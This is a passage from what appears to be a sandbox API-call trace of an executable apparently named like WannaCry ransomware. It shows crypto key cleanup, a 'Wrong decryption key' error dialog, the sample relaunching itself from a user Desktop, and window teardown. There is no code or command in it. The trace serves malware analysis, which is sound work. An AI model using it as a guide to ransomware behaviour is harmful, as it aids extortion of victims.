wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ebd0) returned 0 [0034.229] PeekMessageW (in: lpMsg=0xc80cb2eef0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eef0) returned 0 [0034.230] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.230] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.230] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.230] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.230] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.230] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.230] WriteFile (in: hFile=0x1e0, lpBuffer=0xc80cc491d0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xc80cb2f5b0, lpOverlapped=0x0 | out: lpBuffer=0xc80cc491d0*, lpNumberOfBytesWritten=0xc80cb2f5b0*=0x4, lpOverlapped=0x0) returned 1 [0034.231] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.231] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.231] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0034.231] PeekMessageW (in: lpMsg=0xc80cb2f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f120) returned 0 [0034.231] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0034.231] PeekMessageW (in: lpMsg=0xc80cb2e880, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e880) returned 0 [0034.231] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0034.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0034.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0xc80cd8d3f0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0034.232] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptDestroyKey") returned 0x7ffe2a59f3cc [0034.232] CryptDestroyKey (hKey=0xc80cd65e30) returned 1 [0034.232] PeekMessageW (in: lpMsg=0xc80cb2f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f120) returned 0 [0034.232] PeekMessageW (in: lpMsg=0xc80cb2f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f120) returned 0 [0034.233] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0034.233] PeekMessageW (in: lpMsg=0xc80cb2ee00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ee00) returned 0 [0034.233] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0034.233] PeekMessageW (in: lpMsg=0xc80cb2eae0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eae0) returned 0 [0034.233] PeekMessageW (in: lpMsg=0xc80cb2eae0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eae0) returned 0 [0034.233] PeekMessageW (in: lpMsg=0xc80cb2ee00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ee00) returned 0 [0034.233] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0034.233] PeekMessageW (in: lpMsg=0xc80cb2e7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2e7f0) returned 0 [0034.233] PeekMessageW (in: lpMsg=0xc80cb2ee00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ee00) returned 0 [0034.233] PeekMessageW (in: lpMsg=0xc80cb2ee00, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ee00) returned 0 [0034.233] PeekMessageW (in: lpMsg=0xc80cb2f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f120) returned 0 [0034.233] PeekMessageW (in: lpMsg=0xc80cb2f120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f120) returned 0 [0034.233] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.233] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0034.233] PeekMessageW (in: lpMsg=0xc80cb2f2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2b0) returned 0 [0034.233] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0034.233] PeekMessageW (in: lpMsg=0xc80cb2ef90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ef90) returned 0 [0034.233] PeekMessageW (in: lpMsg=0xc80cb2ef90, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ef90) returned 0 [0034.233] PeekMessageW (in: lpMsg=0xc80cb2f2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2b0) returned 0 [0034.233] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0034.233] PeekMessageW (in: lpMsg=0xc80cb2eca0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2eca0) returned 0 [0034.234] PeekMessageW (in: lpMsg=0xc80cb2f2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2b0) returned 0 [0034.234] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0034.234] PeekMessageW (in: lpMsg=0xc80cb2ed30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ed30) returned 0 [0034.234] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0034.234] PeekMessageW (in: lpMsg=0xc80cb2ed30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ed30) returned 0 [0034.234] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0034.234] CryptReleaseContext (hProv=0xc80cdbd4c0, dwFlags=0x0) returned 1 [0034.234] PeekMessageW (in: lpMsg=0xc80cb2f2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2b0) returned 0 [0034.234] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0034.234] PeekMessageW (in: lpMsg=0xc80cb2ed30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2ed30) returned 0 [0034.234] PeekMessageW (in: lpMsg=0xc80cb2f2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2b0) returned 0 [0034.234] PeekMessageW (in: lpMsg=0xc80cb2f2b0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f2b0) returned 0 [0034.234] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.234] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.234] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.234] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0034.234] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0034.235] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0034.235] MessageBoxW (hWnd=0x0, lpText="Wrong decryption key", lpCaption="Error!", uType=0x10010) returned 1 [0034.245] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.245] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x86, wParam=0x0, lParam=0x80182) returned 0x1 [0034.246] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.246] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.246] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x6, wParam=0x0, lParam=0x80182) returned 0x0 [0034.247] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.247] GetWindowLongW (hWnd=0x5018c, nIndex=-20) returned 256 [0034.247] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x84, wParam=0x0, lParam=0x2030363) returned 0x1 [0034.247] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.247] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.247] GetClientRect (in: hWnd=0x5018c, lpRect=0xc80cb2f040 | out: lpRect=0xc80cb2f040) returned 1 [0034.247] GetCursorPos (in: lpPoint=0xc80cb2f060 | out: lpPoint=0xc80cb2f060*(x=867, y=515)) returned 1 [0034.247] ScreenToClient (in: hWnd=0x5018c, lpPoint=0xc80cb2f060 | out: lpPoint=0xc80cb2f060) returned 1 [0034.247] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0034.247] SetCursor (hCursor=0x10003) returned 0x10007 [0034.247] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.248] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x200, wParam=0x0, lParam=0x18d0222) returned 0x0 [0034.248] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.248] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x14, wParam=0x4c0106dd, lParam=0x0) returned 0x1 [0034.248] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.248] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.248] GetSysColor (nIndex=15) returned 0xf0f0f0 [0034.248] SetBkColor (hdc=0x4c0106dd, color=0xf0f0f0) returned 0xf0f0f0 [0034.248] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.248] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x318, wParam=0x4c0106dd, lParam=0x4) returned 0x0 [0034.248] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.248] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.248] GetSysColor (nIndex=15) returned 0xf0f0f0 [0034.248] SetBkColor (hdc=0x4c0106dd, color=0xf0f0f0) returned 0xf0f0f0 [0034.248] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.248] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.248] GetWindowLongPtrW (hWnd=0x9001e, nIndex=-21) returned 0x3 [0034.248] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x4e, wParam=0x3, lParam=0xc80cb2ebc0) returned 0x0 [0034.248] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.248] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.248] GetWindowLongPtrW (hWnd=0x9001e, nIndex=-21) returned 0x3 [0034.248] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x4e, wParam=0x3, lParam=0xc80cb2ebc0) returned 0x0 [0034.250] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.250] GetWindowLongW (hWnd=0x5018c, nIndex=-20) returned 256 [0034.250] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x84, wParam=0x0, lParam=0x2030363) returned 0x1 [0034.250] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.250] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.250] GetClientRect (in: hWnd=0x5018c, lpRect=0xc80cb2f040 | out: lpRect=0xc80cb2f040) returned 1 [0034.250] GetCursorPos (in: lpPoint=0xc80cb2f060 | out: lpPoint=0xc80cb2f060*(x=867, y=515)) returned 1 [0034.250] ScreenToClient (in: hWnd=0x5018c, lpPoint=0xc80cb2f060 | out: lpPoint=0xc80cb2f060) returned 1 [0034.250] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0034.250] SetCursor (hCursor=0x10003) returned 0x10003 [0034.251] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.251] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x200, wParam=0x0, lParam=0x18d0222) returned 0x0 [0034.276] GetForegroundWindow () returned 0x80182 [0034.276] GetWindowLongPtrW (hWnd=0x80182, nIndex=-21) returned 0xc80cb2f760 [0034.320] GetForegroundWindow () returned 0x80182 [0034.320] GetWindowLongPtrW (hWnd=0x80182, nIndex=-21) returned 0xc80cb2f760 [0034.368] GetForegroundWindow () returned 0x80182 [0034.368] GetWindowLongPtrW (hWnd=0x80182, nIndex=-21) returned 0xc80cb2f760 [0034.417] GetForegroundWindow () returned 0x80182 [0034.417] GetWindowLongPtrW (hWnd=0x80182, nIndex=-21) returned 0xc80cb2f760 [0034.461] GetForegroundWindow () returned 0x80182 [0034.461] GetWindowLongPtrW (hWnd=0x80182, nIndex=-21) returned 0xc80cb2f760 [0034.510] GetForegroundWindow () returned 0x80182 [0034.510] GetWindowLongPtrW (hWnd=0x80182, nIndex=-21) returned 0xc80cb2f760 [0034.553] GetForegroundWindow () returned 0x80182 [0034.553] GetWindowLongPtrW (hWnd=0x80182, nIndex=-21) returned 0xc80cb2f760 [0034.570] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.570] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x46, wParam=0x0, lParam=0xc80cb2f320) returned 0x0 [0034.571] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.571] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x47, wParam=0x0, lParam=0xc80cb2f320) returned 0x0 [0034.571] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.571] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0034.571] NtdllDefWindowProc_W (hWnd=0x4002c, Msg=0x1c, wParam=0x1, lParam=0x0) returned 0x0 [0034.571] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.571] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0034.571] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.571] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.571] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x6, wParam=0x1, lParam=0x0) returned 0x0 [0034.573] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0034.573] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.573] GetWindowLongW (hWnd=0x5018c, nIndex=-20) returned 256 [0034.573] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x84, wParam=0x0, lParam=0x1fe0310) returned 0x1 [0034.573] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.573] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.573] GetClientRect (in: hWnd=0x5018c, lpRect=0xc80cb2f5a0 | out: lpRect=0xc80cb2f5a0) returned 1 [0034.573] GetCursorPos (in: lpPoint=0xc80cb2f5c0 | out: lpPoint=0xc80cb2f5c0*(x=784, y=510)) returned 1 [0034.573] ScreenToClient (in: hWnd=0x5018c, lpPoint=0xc80cb2f5c0 | out: lpPoint=0xc80cb2f5c0) returned 1 [0034.573] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0034.573] SetCursor (hCursor=0x10003) returned 0x10003 [0034.573] TranslateAcceleratorW (hWnd=0x5018c, hAccTable=0x4e01dd, lpMsg=0xc80cb2f8f0) returned 0 [0034.573] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 1 [0034.573] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.573] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x200, wParam=0x0, lParam=0x18801cf) returned 0x0 [0034.573] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 1 [0034.573] TranslateAcceleratorW (hWnd=0x5018c, hAccTable=0x4e01dd, lpMsg=0xc80cb2f8f0) returned 0 [0034.573] IsDialogMessageW (hDlg=0x5018c, lpMsg=0xc80cb2f8f0) returned 1 [0034.573] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.573] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x14, wParam=0x4c0106dd, lParam=0x0) returned 0x1 [0034.573] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.573] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.573] GetSysColor (nIndex=15) returned 0xf0f0f0 [0034.573] SetBkColor (hdc=0x4c0106dd, color=0xf0f0f0) returned 0xf0f0f0 [0034.574] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.574] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x318, wParam=0x4c0106dd, lParam=0x4) returned 0x0 [0034.574] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.574] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.574] GetSysColor (nIndex=15) returned 0xf0f0f0 [0034.574] SetBkColor (hdc=0x4c0106dd, color=0xf0f0f0) returned 0xf0f0f0 [0034.574] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.574] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.574] GetWindowLongPtrW (hWnd=0x9001e, nIndex=-21) returned 0x3 [0034.574] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x4e, wParam=0x3, lParam=0xc80cb2f090) returned 0x0 [0034.574] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.574] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.574] GetWindowLongPtrW (hWnd=0x9001e, nIndex=-21) returned 0x3 [0034.574] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x4e, wParam=0x3, lParam=0xc80cb2f090) returned 0x0 [0034.574] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0034.574] CharUpperBuffW (in: lpsz="RESTARTSCRIPT", cchLength=0xd | out: lpsz="RESTARTSCRIPT") returned 0xd [0034.574] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.574] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.575] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x0 | out: lpBuffer=0x0) returned 0x1d [0034.575] GetCurrentDirectoryW (in: nBufferLength=0x1d, lpBuffer=0xc80cd97db0 | out: lpBuffer="C:\\Users\\5JgHKoaOfdp\\Desktop") returned 0x1c [0034.575] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5JgHKoaOfdp\\Desktop", lpStartupInfo=0xc80cb2f510*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xc80cb2f4a0 | out: lpCommandLine="C:\\Users\\5JGHKO~1\\Desktop\\WANACR~1.EXE", lpProcessInformation=0xc80cb2f4a0*(hProcess=0x198, hThread=0x1e0, dwProcessId=0x87c, dwThreadId=0x890)) returned 1 [0034.580] CloseHandle (hObject=0x1e0) returned 1 [0034.580] CloseHandle (hObject=0x198) returned 1 [0034.580] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.580] PeekMessageW (in: lpMsg=0xc80cb2f5d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f5d0) returned 0 [0034.580] PeekMessageW (in: lpMsg=0xc80cb2f8f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xc80cb2f8f0) returned 0 [0034.581] LockWindowUpdate (hWndLock=0x0) returned 0 [0034.581] DestroyWindow (hWnd=0x4002c) returned 1 [0034.581] NtdllDefWindowProc_W (hWnd=0x4002c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0034.581] KillTimer (hWnd=0x4002c, uIDEvent=0x1) returned 1 [0034.581] Shell_NotifyIconW (dwMessage=0x2, lpData=0xc80cb2f2c0) returned 1 [0034.589] DestroyWindow (hWnd=0x5018c) returned 1 [0034.589] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.589] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x90, wParam=0x0, lParam=0x0) returned 0x0 [0034.589] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.589] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x46, wParam=0x0, lParam=0xc80cb2f630) returned 0x0 [0034.589] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.589] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x47, wParam=0x0, lParam=0xc80cb2f630) returned 0x0 [0034.590] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.590] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0034.590] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.590] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.590] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x6, wParam=0x0, lParam=0x0) returned 0x0 [0034.590] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.590] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x1c, wParam=0x0, lParam=0x7c0) returned 0x0 [0034.590] NtdllDefWindowProc_W (hWnd=0x4002c, Msg=0x1c, wParam=0x0, lParam=0x7c0) returned 0x0 [0034.590] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.590] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.590] InvalidateRect (hWnd=0x5018c, lpRect=0x0, bErase=1) returned 1 [0034.590] DestroyAcceleratorTable (hAccel=0x4e01dd) returned 1 [0034.590] DeleteObject (ho=0x170a05d0) returned 1 [0034.590] DestroyWindow (hWnd=0x9001e) returned 1 [0034.590] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.590] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x210, wParam=0x30002, lParam=0x9001e) returned 0x0 [0034.591] DestroyWindow (hWnd=0x80020) returned 1 [0034.591] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.591] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x210, wParam=0x40002, lParam=0x80020) returned 0x0 [0034.591] DeleteObject (ho=0x150a07f5) returned 1 [0034.591] DestroyWindow (hWnd=0x2011c) returned 1 [0034.591] GetWindowLongPtrW (hWnd=0x5018c, nIndex=-21) returned 0x0 [0034.591] NtdllDialogWndProc_W (hDlg=0x5018c, Msg=0x210, wParam=0x50002, lParam=0x2011c) returned 0x0 [0034.592] DeleteObject (ho=0xffffffff820a071c) returned 1 [0034.592] DestroyWindow (hWnd=0x501e6) returned 1 [0034.592] GetWindowLongPtrW 